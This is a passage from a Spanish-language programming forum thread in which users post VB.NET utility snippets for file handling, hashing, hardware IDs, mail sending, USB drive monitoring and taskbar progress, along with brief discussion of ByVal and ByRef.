Pues el que hizo la función original es un pedazo de Coder de CodeProject que ha hecho unos 10 controles extendido... así que quizás si usa ByVal es por algo... no sé, no me culpeis a mí xD.

PD: Cuanto más me adentro en .NET más me doy cuenta que es imposible saberlo todo al milímetro!

Saludos!


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Novlucker en 16 Enero 2013, 21:12 pm
Pues el que hizo la función original es un pedazo de Coder de CodeProject que ha hecho unos 10 controles extendido... así que quizás si usa ByVal es por algo... no sé, no me culpeis a mí xD.

PD: Cuanto más me adentro en .NET más me doy cuenta que es imposible saberlo todo al milímetro!

Ahí es donde se diferencia C# de VB.NET. C# te obliga a hacer cosas que en VB.NET son opcionales, como declarar el tipo de dato de retorno de una función, o sabes que todo objeto va siempre por referencia y los otros por valor (boolean, double, etc), salvo que se especifique que va por referencia :-\

Saludos


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: ABDERRAMAH en 16 Enero 2013, 21:23 pm
El concepto de byval y byref se entiende mejor en c++ que en visualbasic, yo que soy de los que aprendió con vb me costó entender a qué se refiere, en cierta forma es como pasar punteros en c++.


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 18 Enero 2013, 07:33 am
Cargar un recurso embedido (.exe) al disco duro

Código
  1. #Region " Load Resource To Disk Function "
  2.  
  3.    ' [ Load Exe Resource To Disk Function ]
  4.    '
  5.    ' // By Elektro H@cker (Gracias a Kubox)
  6.    '
  7.    ' Examples:
  8.    '
  9.    ' Load__Exe_Resource_To_Disk(My.Resources.Exe_Name, "C:\File.exe")
  10.    ' ' Process.Start("C:\File.exe")
  11.  
  12.    Private Function Load__Exe_Resource_To_Disk(ByVal Resource As Byte(), ByVal Target_File As String) As Boolean
  13.        Try
  14.            Dim File_Buffer As Byte() = Resource
  15.            Dim Buffer_FileStream As New IO.FileStream(Target_File, IO.FileMode.Create, IO.FileAccess.Write)
  16.            Buffer_FileStream.Write(File_Buffer, 0, File_Buffer.Length) : Buffer_FileStream.Close()
  17.            Return True
  18.        Catch ex As Exception
  19.            Return False
  20.        End Try
  21.    End Function
  22.  
  23. #End Region



MessageBox Question - Cancel operation

Código
  1.  Dim Answer = MessageBox.Show("Want to cancel the current operation?", "Cancel", MessageBoxButtons.YesNo, MessageBoxIcon.Question, MessageBoxDefaultButton.Button1)
  2.  If Answer = MsgBoxResult.Yes Then Application.Exit() Else e.Cancel = True



Mover un archivo, con varias opciones adicionales.

Código
  1. #Region " Move File Function "
  2.  
  3.    ' [ Move File Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(Move_File("C:\File.txt", "C:\Test\")) ' Standard move
  10.    ' MsgBox(Move_File("C:\File.txt", "C:\Test\", True)) ' Create the directory if doesn't exists
  11.    ' MsgBox(Move_File("C:\File.txt", "C:\Test\", , True)) ' Replace any existing file
  12.    ' MsgBox(Move_File("C:\File.txt", "C:\Test\", , , IO.FileAttributes.Hidden + IO.FileAttributes.ReadOnly)) ' Apply new attributes
  13.  
  14.    Private Function Move_File(ByVal File As String, ByVal Target_Path As String, _
  15.                               Optional ByVal Force_Target_Path As Boolean = False, Optional ByVal Force_File_Replace As Boolean = False, _
  16.                               Optional ByVal Attributes As System.IO.FileAttributes = IO.FileAttributes.Normal)
  17.  
  18.        Dim File_Information = My.Computer.FileSystem.GetFileInfo(File) ' Get Input File Information
  19.  
  20.        ' Directory
  21.        If Not Force_Target_Path And Not My.Computer.FileSystem.DirectoryExists(Target_Path) Then
  22.            Return False ' Target Directory don't exists
  23.        ElseIf Force_Target_Path Then
  24.            Try
  25.                My.Computer.FileSystem.CreateDirectory(Target_Path) ' Create directory
  26.            Catch ex As Exception
  27.                'Return False
  28.                Return ex.Message ' Directory can't be created maybe beacuse user permissions
  29.            End Try
  30.        End If
  31.  
  32.        ' File
  33.        Try
  34.            My.Computer.FileSystem.MoveFile(File, Target_Path & "\" & File_Information.Name, Force_File_Replace) ' Moves the file
  35.            If Not Attributes = IO.FileAttributes.Normal Then My.Computer.FileSystem.GetFileInfo(Target_Path & "\" & File_Information.Name).Attributes = Attributes ' Apply File Attributes
  36.            Return True ' File is copied OK
  37.        Catch ex As Exception
  38.            'Return False
  39.            Return ex.Message ' File can't be created maybe beacuse user permissions
  40.        End Try
  41.    End Function
  42.  
  43. #End Region


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 18 Enero 2013, 11:27 am
Obtener la arquitectura del OS

Código
  1. #Region " Get OS Architecture Function "
  2.  
  3.    ' [ Get OS Architecture Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Dim Architecture = Get_OS_Architecture()
  9.  
  10.    Private Function Get_OS_Architecture() As Integer
  11.        Dim Bits = Runtime.InteropServices.Marshal.SizeOf(GetType(IntPtr)) * 8
  12.        Select Case Bits
  13.            Case 32 : Return 32 ' x86
  14.            Case 64 : Return 64 ' x64
  15.            Case Else : Return Nothing ' xD
  16.        End Select
  17.    End Function
  18.  
  19. #End Region



Ejemplo de un overload

Código
  1.    ' Examples:
  2.    '
  3.    ' Test(0)
  4.    ' Test"0")
  5.  
  6.    Sub Test(ByVal Argument As Integer)
  7.        MsgBox("Integer: " & Argument)
  8.    End Sub
  9.  
  10.    Sub Test(ByVal Argument As String)
  11.        MsgBox("String: " & Argument)
  12.    End Sub



El snippet de Get All Files, mejorado:

Código
  1. #Region " Get All Files Function "
  2.  
  3.    ' [ Get All Files Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples:
  8.    '
  9.    ' Dim Files As Array = Get_All_Files("C:\Test", True)
  10.    ' For Each File In Get_All_Files("C:\Test", False) : MsgBox(File) : Next
  11.  
  12.    Private Function Get_All_Files(ByVal Directory As String, Optional ByVal Recursive As Boolean = False) As Array
  13.        If System.IO.Directory.Exists(Directory) Then
  14.            If Not Recursive Then : Return System.IO.Directory.GetFiles(Directory, "*", IO.SearchOption.TopDirectoryOnly)
  15.            Else : Return IO.Directory.GetFiles(Directory, "*", IO.SearchOption.AllDirectories)
  16.            End If
  17.        Else
  18.            Return Nothing
  19.        End If
  20.    End Function
  21.  
  22. #End Region


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 18 Enero 2013, 14:06 pm
No es mucho, pero puede servir...

Obtener la ruta del directorio o del archivo "user.config"

Código
  1. #Region " Get User Config Function "
  2.  
  3.    ' [ Get User Config Function ]
  4.    '
  5.    ' // By Elektro H@cker (Gracias a Seba123Neo)
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' * First add a reference to "System.Configuration" in the proyect
  10.    '
  11.    ' MsgBox(Get_User_Config(User_Config.File))
  12.    ' MsgBox(Get_User_Config(User_Config.Path))
  13.  
  14.    Enum User_Config
  15.        File
  16.        Path
  17.    End Enum
  18.  
  19.    Private Function Get_User_Config(ByVal Setting As User_Config) As String
  20.        Dim UserConfig As String = System.Configuration.ConfigurationManager.OpenExeConfiguration(System.Configuration.ConfigurationUserLevel.PerUserRoaming).FilePath
  21.        Select Case Setting
  22.            Case User_Config.File : Return UserConfig
  23.            Case User_Config.Path : Return UserConfig.Substring(0, UserConfig.LastIndexOf("\"))
  24.            Case Else : Return False
  25.        End Select
  26.    End Function
  27.  
  28. #End Region


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: $Edu$ en 18 Enero 2013, 15:09 pm
Se supone que todos los apuntes que has hecho desde que aprendiste vb.net estan aca no? digo porque te los iba a pedir pero veo que estan todos aca xD


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 18 Enero 2013, 16:03 pm
Sí xDDDDDD, apuntes convertidos en funciones/snippets, creo que para lo poco que sé de .NET me lo curro ;D.


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 3 Febrero 2013, 05:07 am
Calcular el hash MD5 de un archivo:

Código
  1.    #Region " Get MD5 Of File Function "
  2.  
  3.       ' [ Get MD5 Of File Function ]
  4.       '
  5.       ' Examples :
  6.       '
  7.       ' MsgBox(Get_MD5_Of_File("C:\Test.txt"))
  8.  
  9.       Private Function Get_MD5_Of_File(ByVal File As String) As String
  10.           Using MD5_Reader As New System.IO.FileStream(File, IO.FileMode.Open, IO.FileAccess.Read)
  11.               Using MD5 As New System.Security.Cryptography.MD5CryptoServiceProvider
  12.                   Dim MD5_Byte() As Byte = MD5.ComputeHash(MD5_Reader)
  13.                   Dim MD5_Hex As New System.Text.StringBuilder(MD5.ComputeHash(MD5_Reader).Length * 2)
  14.                   For Number As Integer = 0 To MD5_Byte.Length - 1 : MD5_Hex.Append(MD5_Byte(Number).ToString("X2")) : Next
  15.                   Return MD5_Hex.ToString().ToLower
  16.               End Using
  17.           End Using
  18.       End Function
  19.  
  20.    #End Region




Calcular el hash MD5 de un string:

Código
  1. #Region " Get MD5 Of String Function "
  2.  
  3.    ' [ Get MD5 Of String Function ]
  4.    '
  5.    ' Examples :
  6.    '
  7.    ' MsgBox(Get_MD5_Of_String("C:\Test.txt"))
  8.  
  9.    Private Function Get_MD5_Of_String(ByVal str As String) As String
  10.        Dim MD5_Hex As String = Nothing
  11.        Dim MD5 As New System.Security.Cryptography.MD5CryptoServiceProvider()
  12.        Dim MD5_Byte = System.Text.Encoding.UTF8.GetBytes(str)
  13.        Dim MD5_Hash = MD5.ComputeHash(MD5_Byte)
  14.        MD5.Clear()
  15.        For Number As Integer = 0 To MD5_Hash.Length - 1 : MD5_Hex &= MD5_Hash(Number).ToString("x").PadLeft(2, "0") : Next
  16.        Return MD5_Hex
  17.    End Function
  18.  
  19. #End Region



Obtener la ID de la placa base:

Código
  1. #Region " Get Motherboard ID Function "
  2.  
  3.    ' [ Get Motherboard ID Function ]
  4.    '
  5.    ' Examples :
  6.    '
  7.    ' Dim Motherboard_ID As String = Get_Motherboard_ID()
  8.    ' MsgBox(Get_Motherboard_ID())
  9.  
  10.    Private Function Get_Motherboard_ID() As String
  11.        For Each Motherboard As Object In GetObject("WinMgmts:").InstancesOf("Win32_BaseBoard") : Return Motherboard.SerialNumber : Next Motherboard
  12.        Return Nothing
  13.    End Function
  14.  
  15. #End Region




Obtener la ID del procesador:

Código
  1. #Region " Get CPU ID Function "
  2.  
  3.    ' [ Get CPU ID Function ]
  4.    '
  5.    ' Examples :
  6.    '
  7.    ' Dim Processor_ID As String = Get_Motherboard_ID()
  8.    ' MsgBox(Get_CPU_ID())
  9.  
  10.    Private Function Get_CPU_ID() As String
  11.        For Each CPU_ID As Object In GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2").ExecQuery("Select * from Win32_Processor") : Return CPU_ID.ProcessorId : Next CPU_ID
  12.        Return Nothing
  13.    End Function
  14.  
  15. #End Region


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 5 Febrero 2013, 03:05 am
Para cambiar los cursores de Windows (En el sistema, fuera del form)

Código
  1. #Region " Set System Cursor Function "
  2.  
  3.    ' [ Set System Cursor Function ]
  4.    '
  5.    ' Examples :
  6.    '
  7.    ' Set_System_Cursor("C:\Cursors\Arrow.ani", System_Cursor.ARROW))
  8.    ' MsgBox(Set_System_Cursor("C:\Cursors\Cross.cur", System_Cursor.CROSS))
  9.  
  10.    ' Set System Cursor [ API declarations ]
  11.    Private Declare Function SetSystemCursor Lib "user32.dll" (ByVal hCursor As IntPtr, ByVal id As Integer) As Boolean
  12.    Private Declare Function LoadCursorFromFile Lib "user32.dll" Alias "LoadCursorFromFileA" (ByVal lpFileName As String) As IntPtr
  13.  
  14.    ' Set System Cursor [ API Constants ]
  15.    Private Enum System_Cursor As UInt32
  16.        APP_STARTING = 32650
  17.        ARROW = 32512
  18.        CROSS = 32515
  19.        HAND = 32649
  20.        HELP = 32651
  21.        I_BEAM = 32513
  22.        NO = 32648
  23.        SIZE_ALL = 32646
  24.        SIZE_NESW = 32643
  25.        SIZE_NS = 32645
  26.        SIZE_NWSE = 32642
  27.        SIZE_WE = 32644
  28.        UP = 32516
  29.        WAIT = 32514
  30.    End Enum
  31.  
  32.    ' Set System Cursor [ Function ]
  33.    Private Function Set_System_Cursor(ByVal Cursor_File As String, ByVal Cursor_Type As System_Cursor) As Boolean
  34.        If SetSystemCursor(LoadCursorFromFile(Cursor_File), Cursor_Type) = 0 Then Return False ' Error loading cursor from file
  35.        Return True
  36.    End Function
  37.  
  38. #End Region




Hotmail sender (Envía correos desde hotmail)

* Es necesario descargar la librería EASENDMAIL (Es gratis aunque se puede comprar licencia): http://www.emailarchitect.net/webapp/download/easendmail.exe  

PD: Sé que esto se puede hacer con la class system.net.mail, pero con esto no dependemos de puertos, y el SSL de los servidores que usemos en la librería se detecta automáticamente...

Código
  1. #Region " Hotmail Sender Function "
  2.  
  3.    ' [ Hotmail Sender Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' * First add a reference to "EASendMail" into the project.
  8.    '
  9.    ' Examples :
  10.    '
  11.    '  MsgBox(Hotmail_Sender("ElektroHacker@hotmail.com", "MyPass", "Anonym@gmail.com", "Test subject", "Test body", {"C:\File1.txt", "C:\File2.txt"}))
  12.  
  13.    Private Function Hotmail_Sender(ByVal Account_User As String, ByVal Account_Password As String, ByVal Mail_To As String, ByVal Mail_Subject As String, ByVal Mail_Body As String, Optional ByVal Mail_Attachments() As String = Nothing) As Boolean
  14.  
  15.        Dim Hot_Mail As New EASendMail.SmtpMail("TryIt")
  16.        Dim Hot_Server As New EASendMail.SmtpServer("smtp.live.com")
  17.        Dim Hot_Smtp As New EASendMail.SmtpClient()
  18.  
  19.        Hot_Server.User = Account_User
  20.        Hot_Server.Password = Account_Password
  21.        Hot_Server.ConnectType = EASendMail.SmtpConnectType.ConnectSSLAuto
  22.  
  23.        Hot_Mail.From = Account_User
  24.        Hot_Mail.To = Mail_To
  25.        Hot_Mail.Subject = Mail_Subject
  26.        Hot_Mail.TextBody = Mail_Body
  27.        If Mail_Attachments IsNot Nothing Then For Each Attachment In Mail_Attachments : Hot_Mail.AddAttachment(Attachment) : Next
  28.  
  29.        Try : Hot_Smtp.SendMail(Hot_Server, Hot_Mail) : Return True
  30.        Catch ex As Exception : Return False : End Try
  31.  
  32.    End Function
  33.  
  34. #End Region


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 9 Febrero 2013, 02:10 am
Unos snippets para monitorizar unidades...

Recopilar información de las unidades conectadas en ese momento:

Código
  1. #Region " Get Drives Info Function "
  2.  
  3.    ' [ Get Drives Info Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' Dim CDROMS = Get_Drives_Info(DriveType.CDRom, True)
  10.    ' For Each Drive_Info In Get_Drives_Info(DriveType.ALL, True, True, True, True, True, True) : MsgBox(Drive_Info) : Next
  11.  
  12.    Private Enum DriveType
  13.        ALL
  14.        CDRom = IO.DriveType.CDRom
  15.        Fixed = IO.DriveType.Fixed
  16.        Network = IO.DriveType.Network
  17.        Ram = IO.DriveType.Ram
  18.        Removable = IO.DriveType.Removable
  19.        Unknown = IO.DriveType.Unknown
  20.    End Enum
  21.  
  22.    Private Function Get_Drives_Info( _
  23.       ByVal DriveType As DriveType, _
  24.       ByVal Name As Boolean, _
  25.       Optional ByVal Label As Boolean = False, _
  26.       Optional ByVal Type As Boolean = False, _
  27.       Optional ByVal Format As Boolean = False, _
  28.       Optional ByVal Size As Boolean = False, _
  29.       Optional ByVal FreeSpace As Boolean = False) As List(Of String)
  30.  
  31.        Dim Drive_Info_List As New List(Of String)
  32.        Dim Drive_Info As String = Nothing
  33.  
  34.        For Each Drive In Microsoft.VisualBasic.FileIO.FileSystem.Drives
  35.            If (DriveType = DriveType.ALL Or Drive.DriveType = DriveType) And (Drive.IsReady) Then
  36.                If Drive.IsReady = True Then
  37.                    If Name Then Drive_Info += Drive.Name & ";"
  38.                    If Label Then Drive_Info += Drive.VolumeLabel & ";"
  39.                    If Type Then Drive_Info += Drive.DriveType.ToString & ";"
  40.                    If Format Then Drive_Info += Drive.DriveFormat & ";"
  41.                    If Size Then Drive_Info += Drive.TotalSize.ToString & ";"
  42.                    If FreeSpace Then Drive_Info += Drive.TotalFreeSpace & ";"
  43.                End If
  44.            End If
  45.            If Drive_Info IsNot Nothing Then Drive_Info_List.Add(Drive_Info) : Drive_Info = Nothing
  46.        Next
  47.  
  48.        Return Drive_Info_List
  49.  
  50.    End Function
  51.  
  52. #End Region






Monitorizar la inserción/extracción de dispositivos (y obtener información adicional)

by Keyen Night

Código
  1. #Region " Monitorize Drives "
  2.  
  3.    ' Diccionario para guardar información (letra, información)
  4.    Public CurrentDrives As New Dictionary(Of Char, DriveInfoGhost)
  5.  
  6.    Public Event DriveConnected(ByVal e As IO.DriveInfo)
  7.    Public Event DriveDisconnected(ByVal e As DriveInfoGhost)
  8.  
  9.    ' Estructura que replica el contenido de DriveInfo
  10.    Public Structure DriveInfoGhost
  11.  
  12.        Public Name As String
  13.        Public AvailableFreeSpace As Long
  14.        Public DriveFormat As String
  15.        Public DriveType As IO.DriveType
  16.        Public RootDirectory As String
  17.        Public TotalFreeSpace As Long
  18.        Public TotalSize As Long
  19.        Public VolumeLabel As String
  20.  
  21.        Public Sub New(ByVal e As IO.DriveInfo)
  22.            Name = e.Name
  23.            AvailableFreeSpace = e.AvailableFreeSpace
  24.            DriveFormat = e.DriveFormat
  25.            DriveType = e.DriveType
  26.            RootDirectory = e.RootDirectory.FullName
  27.            TotalFreeSpace = e.TotalFreeSpace
  28.            TotalSize = e.TotalSize
  29.            VolumeLabel = e.VolumeLabel
  30.        End Sub
  31.  
  32.    End Structure
  33.  
  34.    ' Estructura nativa de Windows para almacenar información de dispositivos
  35.    Public Structure WindowsDrive
  36.        Public Size As Integer
  37.        Public Type As Integer
  38.        Public Reserved As Integer
  39.        Public Mask As Integer
  40.    End Structure
  41.  
  42.    ' Constantes que necesitamos
  43.    Public Enum ConstWindowsDrivers As Integer
  44.        Change = &H219
  45.        Arrival = &H8000
  46.        QueryRemove = &H8001
  47.        QueryRemoveFailed = &H8002
  48.        RemovePending = &H8003
  49.        RemoveComplete = &H8004
  50.        TypeVolume = &H2
  51.    End Enum
  52.  
  53.    Protected Overrides Sub WndProc(ByRef [Message] As Message)
  54.  
  55.        Select Case [Message].Msg ' Filtramos los mensajes
  56.            Case ConstWindowsDrivers.Change ' Si el Hardware cambió
  57.                ' Transformamos el puntero del primer parametro en una estructura de datos
  58.                Dim CurrentWDrive As WindowsDrive = CType(System.Runtime.InteropServices.Marshal.PtrToStructure([Message].LParam, GetType(WindowsDrive)), WindowsDrive)
  59.                ' Transformamos la estructura en información de la unidad
  60.                Dim CurrentDrive As IO.DriveInfo = New IO.DriveInfo(GetDriveLetter(CurrentWDrive.Mask))
  61.                ' El segundo parametros nos indica si se esta desconectando o conectando
  62.                Select Case [Message].WParam.ToInt32
  63.                    ' Se esta conectando...
  64.                    Case ConstWindowsDrivers.Arrival
  65.                        ' Si es un dispositivo de almacenamiento
  66.                        If System.Runtime.InteropServices.Marshal.ReadInt32([Message].LParam, 4) = ConstWindowsDrivers.TypeVolume Then
  67.                            ' Llamamos un evento que controla la conexión
  68.                            RaiseEvent DriveConnected(CurrentDrive)
  69.                            ' Guardamos la información del dispositivo en un diccionario fantasma (letra, información),
  70.                            ' ya que cuando se desconecte habremos perdido toda la información,
  71.                            ' sólamente nos quedara la letra de la unidad, con ella podremos volver a obtener la información a traves del diccionario'
  72.                            CurrentDrives.Add(GetDriveLetter(CurrentWDrive.Mask), New DriveInfoGhost(CurrentDrive))
  73.                        End If
  74.                        ' Si es desconectado...
  75.                    Case ConstWindowsDrivers.RemoveComplete
  76.                        ' Llamamos al evento de desconexión con la información en el diccionario fantasma,
  77.                        ' ya que no tenemos acceso a la información, porque el hardware ha sido desconectado
  78.                        RaiseEvent DriveDisconnected(CurrentDrives(GetDriveLetter(CurrentWDrive.Mask)))
  79.                        ' Removemos el hardware del diccionario
  80.                        CurrentDrives.Remove(GetDriveLetter(CurrentWDrive.Mask))
  81.                End Select
  82.        End Select
  83.  
  84.        MyBase.WndProc([Message])
  85.  
  86.    End Sub
  87.  
  88.    ' Nos traduce el código de los parametros a letras
  89.    Private Function GetDriveLetter(ByVal Mask As Integer) As Char
  90.  
  91.        Dim Names() As Char = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
  92.        Dim Devices As New BitArray(System.BitConverter.GetBytes(Mask))
  93.  
  94.        For x As Integer = 0 To Devices.Length
  95.            If Devices(x) Then
  96.                Return Names(x)
  97.            End If
  98.        Next
  99.  
  100.    End Function
  101.  
  102.    ' Eventos
  103.  
  104.    Private Sub Main_DriveConnected(ByVal e As System.IO.DriveInfo) Handles Me.DriveConnected
  105.        MessageBox.Show(String.Format("Se ha conectado la unidad {0}", e.Name))
  106.    End Sub
  107.  
  108.    Private Sub Main_DriveDisconnected(ByVal e As DriveInfoGhost) Handles Me.DriveDisconnected
  109.        MessageBox.Show(String.Format("Se ha desconectado la unidad {0}", e.Name))
  110.    End Sub
  111.  
  112. #End Region





Monitorizar la inserción/extracción de dispositivos (y obtener información adicional)

by Kub0x

PD: Añadir un listbox al Form para ver/entender como actua el code.

Código
  1. Imports System.IO
  2. Imports System.Threading
  3.  
  4. Public Class Inicio
  5.  
  6.    Private Drives() As DriveInfo
  7.    Private Delegate Sub ListenToUSB()
  8.    Private Delegate Sub UpdateListBoxText(ByVal Text As String)
  9.    Private Delegate Sub MonitorizeUSB(ByVal Drive As DriveInfo)
  10.  
  11.    Private Sub ListenToRemovableDrives()
  12.        'Mejor crear 1 sola variable que ochocientas mil e ir actualizándola periodicamente
  13.        Dim connectedDrives As DriveInfo() = Nothing
  14.        While True
  15.            connectedDrives = DriveInfo.GetDrives()
  16.            For Each drive As DriveInfo In connectedDrives
  17.                IsRemovableDrive(drive)
  18.            Next
  19.            'Aquí indica el tiempo que quieres que espere el proceso de escucha para después volver a comenzar
  20.            Thread.Sleep(2500)
  21.        End While
  22.    End Sub
  23.    Private Sub IsRemovableDrive(ByVal Drive As DriveInfo)
  24.        If Drive.IsReady And Drive.DriveType = DriveType.Removable Then
  25.            IsDriveMonitorized(Drive)
  26.        End If
  27.    End Sub
  28.    Private Function GetDrivePosInArray(ByVal Drive As DriveInfo) As Int32
  29.        Dim isInList As Boolean = False
  30.        Dim i As Int32 = 0
  31.        Do
  32.            If Not IsNothing(CType(Drives(i), Object)) Then
  33.                If Drives(i).Name = Drive.Name Then
  34.                    isInList = True
  35.                End If
  36.            End If
  37.            i += 1
  38.        Loop Until isInList Or i >= Drives.Length - 1
  39.        Return i - 1
  40.    End Function
  41.    Private Function IsDriveInList(ByVal Drive As DriveInfo) As Boolean
  42.        Dim isInList As Boolean = False
  43.        Dim i As Int32 = 0
  44.        Do
  45.            If Not IsNothing(CType(Drives(i), Object)) Then
  46.                If Drives(i).Name = Drive.Name Then
  47.                    isInList = True
  48.                End If
  49.            End If
  50.            i += 1
  51.        Loop Until isInList Or i >= Drives.Length - 1
  52.        Return isInList
  53.    End Function
  54.    Private Sub IsDriveMonitorized(ByVal Drive As DriveInfo)
  55.        If Not IsDriveInList(Drive) Then
  56.            'Como la unidad USB no está siendo monitorizada por otro subproceso
  57.            'Añadimos sus características al ListBox
  58.            ListBox1.BeginInvoke(New UpdateListBoxText(AddressOf UpdateLstBoxText), _
  59.                                 New Object() {"Se ha conectado una nueva Memoria USB en " & Drive.Name})
  60.            Drives(Drives.Length - 1) = Drive
  61.            Array.Resize(Drives, Drives.Length + 1)
  62.            'Monitorizamos la unidad USB
  63.            Dim delegado As New MonitorizeUSB(AddressOf MonitorizeDrive)
  64.            delegado.BeginInvoke(Drive, Nothing, Nothing)
  65.        End If
  66.    End Sub
  67.    Private Sub MonitorizeDrive(ByVal Drive As DriveInfo)
  68.        Dim Removed As Boolean = False
  69.        While Not Removed
  70.            If Not Drive.IsReady Then
  71.                Removed = True
  72.                Dim pos As Int32 = GetDrivePosInArray(Drive)
  73.                ReOrganizeArray(pos)
  74.                ListBox1.BeginInvoke(New UpdateListBoxText(AddressOf UpdateLstBoxText), _
  75.                     New Object() {"La unidad USB " & Drive.Name & " fue extraída."})
  76.            End If
  77.        End While
  78.    End Sub
  79.    Private Sub ReOrganizeArray(ByVal pos As Int32)
  80.        'Eliminamos el elemento rotando el Array hacia la izquierda
  81.        Drives(pos) = Nothing
  82.        Array.Resize(Drives, Drives.Length - 1)
  83.    End Sub
  84.    Private Sub UpdateLstBoxText(ByVal Text As String)
  85.        ListBox1.Items.Add(Text)
  86.    End Sub
  87.  
  88.    Private Sub Inicio_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
  89.        Drives = New DriveInfo(0) {}
  90.        Dim delegado As New ListenToUSB(AddressOf ListenToRemovableDrives)
  91.        delegado.BeginInvoke(Nothing, Nothing)
  92.    End Sub
  93.  
  94. End Class


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 9 Febrero 2013, 05:01 am
Calcula el CRC32 checksum de un archivo

Código
  1. #Region " Get CRC32 Function "
  2.  
  3.    ' [ Get CRC32 Function ]
  4.    '
  5.    ' Examples :
  6.    '
  7.    ' MsgBox(Get_CRC32("C:\File.txt"))
  8.  
  9.    Public Function Get_CRC32(ByVal sFileName As String) As String
  10.  
  11.        Try
  12.            Dim FS As IO.FileStream = New IO.FileStream(sFileName, IO.FileMode.Open, IO.FileAccess.Read, IO.FileShare.Read, 8192)
  13.            Dim CRC32Result As Integer = &HFFFFFFFF
  14.            Dim Buffer(4096) As Byte
  15.            Dim ReadSize As Integer = 4096
  16.            Dim Count As Integer = FS.Read(Buffer, 0, ReadSize)
  17.            Dim CRC32Table(256) As Integer
  18.            Dim DWPolynomial As Integer = &HEDB88320
  19.            Dim DWCRC As Integer
  20.            Dim i As Integer, j As Integer, n As Integer
  21.  
  22.            ' Create CRC32 Table
  23.            For i = 0 To 255
  24.                DWCRC = i
  25.                For j = 8 To 1 Step -1
  26.                    If (DWCRC And 1) Then
  27.                        DWCRC = ((DWCRC And &HFFFFFFFE) \ 2&) And &H7FFFFFFF
  28.                        DWCRC = DWCRC Xor DWPolynomial
  29.                    Else
  30.                        DWCRC = ((DWCRC And &HFFFFFFFE) \ 2&) And &H7FFFFFFF
  31.                    End If
  32.                Next j
  33.                CRC32Table(i) = DWCRC
  34.            Next i
  35.  
  36.            ' Calculate CRC32 Hash
  37.            Do While (Count > 0)
  38.                For i = 0 To Count - 1
  39.                    n = (CRC32Result And &HFF) Xor Buffer(i)
  40.                    CRC32Result = ((CRC32Result And &HFFFFFF00) \ &H100) And &HFFFFFF
  41.                    CRC32Result = CRC32Result Xor CRC32Table(n)
  42.                Next i
  43.                Count = FS.Read(Buffer, 0, ReadSize)
  44.            Loop
  45.            Return Hex(Not (CRC32Result))
  46.        Catch ex As Exception
  47.            Return Nothing
  48.        End Try
  49.  
  50.    End Function
  51.  
  52. #End Region



Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 3 Marzo 2013, 18:29 pm
Hexadecimal a Array de Bytes:

Código
  1. #Region " Hex to Byte-Array Function "
  2.  
  3.    ' [ Hex to Byte-Array Function ]
  4.    '
  5.    ' Examples :
  6.    ' Dim Byte_Array = Hex_to_Byte_Array("000a42494c4c2047415445535ad50adc4f5ca6f9efc1252aadf9847f")
  7.    ' My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\KEYNAME", "VALUENAME", Byte_Array, Microsoft.Win32.RegistryValueKind.Binary)
  8.  
  9.    Private Function Hex_to_Byte_Array(ByVal HEX_String As String) As Byte()
  10.        Dim Bytes_Array((HEX_String.Length \ 2) - 1) As Byte
  11.        For i As Integer = 0 To HEX_String.Length - 1 Step 2
  12.            Dim HEX_Byte As String = HEX_String.Substring(i, 2)
  13.            Dim Byte_Value As Byte = Byte.Parse(HEX_Byte, Globalization.NumberStyles.AllowHexSpecifier)
  14.            Bytes_Array(i \ 2) = Byte_Value
  15.        Next
  16.        Return Bytes_Array
  17.    End Function
  18.  
  19. #End Region





Windows API Code Pack:
Código
  1. #Region " Set TaskBar Status Function "
  2.  
  3.    ' [ Set TaskBar Status Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Set_TaskBar_Status(TaskBar_Status.Paused)
  9.  
  10.    Public Enum TaskBar_Status
  11.        Normal = 2     ' Blue
  12.        Stopped = 4    ' Red
  13.        Paused = 8     ' Yellow
  14.        Disabled = 0   ' No colour
  15.        Undefinied = 1 ' Marquee
  16.    End Enum
  17.  
  18.    Private Function Set_TaskBar_Status(ByVal TaskBar_Status As TaskBar_Status) As Boolean
  19.        Try : Microsoft.WindowsAPICodePack.Taskbar.TaskbarManager.Instance.SetProgressState(TaskBar_Status)
  20.            Return True
  21.        Catch ex As Exception : Throw New Exception(ex.Message)
  22.        End Try
  23.    End Function
  24.  
  25. #End Region

Windows API Code Pack:
Código
  1. #Region " Set TaskBar Value Function "
  2.  
  3.    ' [ Set TaskBar Value Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Set_TaskBar_Value(50, 100)
  9.  
  10.    Private Function Set_TaskBar_Value(ByVal Current_Value As Integer, ByVal MAX_Value As Integer) As Boolean
